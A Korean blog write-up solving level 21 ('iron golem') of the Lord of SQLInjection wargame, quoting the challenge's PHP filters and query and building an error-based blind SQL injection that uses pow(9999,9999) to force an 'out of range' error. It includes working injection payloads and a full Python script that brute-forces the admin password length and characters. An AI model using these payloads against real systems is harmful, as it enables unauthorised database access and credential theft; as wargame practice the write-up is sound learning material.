본문 바로가기

web/Lord of SQLInjection

Lord of SQLInjection - 21번 : iron golem

시험 끝나고 때 아닌 코로나 이슈로 앓다가 오랜만에 글을 올린다.

왜 두 번이나 걸리는거야... 비염 환자가 코로나까지 걸리니까 진짜 죽을 맛이었다.

이제 어느 정도 숨이 쉬어지니까 문제를 보도록 합시다.

문제 살펴보기

los iron golem 문제

 

문제 길이를 보아하니 이번에도 blind sql injection 문제인 것 같다.

문제 풀이에 필요한 코드를 살펴보도록 하자.

 

 

 

 

 

                                              if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");

                                              if(preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");

 

prob, _, ., ()는 항상 있는 필터링이니까 넘어가자.

sleep, benchmark를 필터링하고 있다.

time based blind sql injection을 수행할 때 사용하는 두 함수를 막고 있다.

time based가 아닌 다른 방법으로 문제를 풀라고 하는 것 같다.

 

 

 

 

 

                              $query "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";

                              $result = @mysqli_fetch_array(mysqli_query($db,$query));
                              if(
mysqli_error($db)) exit(mysqli_error($db));

 

pw 파라미터를 통해 데이터를 전송할 수 있다.

그리고 해당 query문이 error를 발생시킬 경우 error 메세지를 보여준다.

 

 

 

 

 

error가 발생되었을 때 보여지는 문자열

 

위 문자열은 pw 파라미터에 single qoute를 넣고 의도적으로 error를 발생시켰을 때

페이지에서 띄운 error message이다.

그냥 대놓고 blind sql injection을 수행하여 문제를 풀라고 알려준다.

 

 

 

 

 

 

                              $_GET[pw] = addslashes($_GET[pw]);
                             
$query "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";

                              $result = @mysqli_fetch_array(mysqli_query($db,$query));
                              if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");

 

brute force를 통해 알아낸 admin의 pw 값을

pw 파라미터를 통해 넣어주면 문제가 풀리게 된다.

 

 

 

 

 

문제 풀이 과정

if문을 사용하여 의도적으로 error를 발생시키는 코드를 짜면 된다.

그런데 error를 의도적으로 발생시키는 방법이 바로 떠오르지 않아서 삽질을 좀 했다.

error based blind sql injection을 수행할 때 문법 오류와 같은 compile error를 발생시키면

무조건 error를 발생시키기 때문에, 프로그램 동작 중에 에러가 발생하는 run-time error를 발생시켜야 한다.

 

if( 조건문, 정상적인 반환 값, run-time error를 발생시키는 반환 값 )

 

위처럼 if문을 작성하면 조건문이 거짓일 때 run-time error가 발생하여 error 문구를 보여준다.

계속 고민하다가 최근 많이 본 "out of range" 에러가 떠올랐다.

지수 연산을 수행하는 pow(밑, 지수) 함수의 인자로 각각 9999를 넣어주면

9999의 9999제곱을 수행한 결과값이 반환되는데 이는 매우 큰 수이므로 out of range 에러를 발생시킨다.

우선 테스트를 해보자.

 

 

 

 

 

pow(9999, 9999)를 수행할 때 발생하는 error

 

pw 파라미터의 인자로 '||pow(9999,9999)%23을 주었을 때 위와 같은 에러가 발생했다.

이제 if 문을 사용하여 pw의 길이와 값을 구하는 파이썬 코드를 짜보도록 하자.

 

 

 

 

 


def find_admin_pw_length():     #id='admin'인 행의 pw의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'pw': "\'||id=\'admin\' and if(length(pw)>"+str(i)+",1,pow(9999,9999))#"}
        #?pw='||id='admin' and if(length(pw)>i,1,pow(9999,9999))#
        res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
        if("out of range" in res.text):                     #i 값이 length(pw)일 경우 error 발생
            return i                                        
 

 

위 코드를 실행시키면 아래와 같은 결과가 나온다.

 

 

 

 

 


pw_length = find_admin_pw_length()
print("length :", pw_length)

 

pw 값의 길이

 

길이가 32나 된다...

이걸 brute force로 언제 다 구하고 있지...

값을 구하는 코드는 아래와 같다.

 

 

 

 

 

       
def find_password(length):      #id='admin'인 행의 pw의 값을 반환하는 함수
    pw = ""
    for i in range(1, length+1):    #pw의 길이만큼 반복
        for char in chars:          #chars = "숫자+알파벳 대소문자+특수문자"
            params = {'pw': "\'||id='admin' and if(pw like \'"+pw+char+"%\',1,pow(9999,9999))#"}
            #?pw='||id='admin' and if(pw like 'pw+char%',1,pow(9999,9999))#
            res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
            if("out of range" not in res.text):                 #like 문이 참일 경우 에러가 발생하지 않음
                pw+=char            
                break
    return pw

 

위 코드를 실행시켜 pw 값을 구하면 아래와 같이 나온다.

 

 

 

 

 


pw_value = find_password(pw_length)
print("pw :", pw_value)

 

pw 값

 

다행히 특수문자가 포함되어있지 않아서 생각보다는 빠르게 구해졌다.

 

 

 

 

 

iron golem clear

 

전체 python 코드

 


import requests as req
import string

cookies = {'PHPSESSID' : '쿠키값'}      #cookie 값
chars = string.digits+string.ascii_letters+string.punctuation     #숫자+알파벳+특수문자

def find_admin_pw_length():     #id='admin'인 행의 pw의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'pw': "\'||id=\'admin\' and if(length(pw)>"+str(i)+",1,pow(9999,9999))#"}
        #?pw='||id='admin' and if(length(pw)>i,1,pow(9999,9999))#
        res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
        if("out of range" in res.text):                     #i 값이 length(pw)일 경우 error 발생
            return i                                        
       
def find_password(length):      #id='admin'인 행의 pw의 값을 반환하는 함수
    pw = ""
    for i in range(1, length+1):    #pw의 길이만큼 반복
        for char in chars:          #chars = "숫자+알파벳 대소문자+특수문자"
            params = {'pw': "\'||id='admin' and if(pw like \'"+pw+char+"%\',1,pow(9999,9999))#"}
            #?pw='||id='admin' and if(pw like 'pw+char%',1,pow(9999,9999))#
            res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
            if("out of range" not in res.text):                 #like 문이 참일 경우 에러가 발생하지 않음
                pw+=char            
                break
    return pw

 

 

 

 

 

error를 발생시키는 방법만 떠올리면 쉽게 풀 수 있는 문제였다.

몇 년 만에 푸는 error based blind sql injection 문제라서 조금 시간이 걸렸지만

어쨌든 CLEAR!!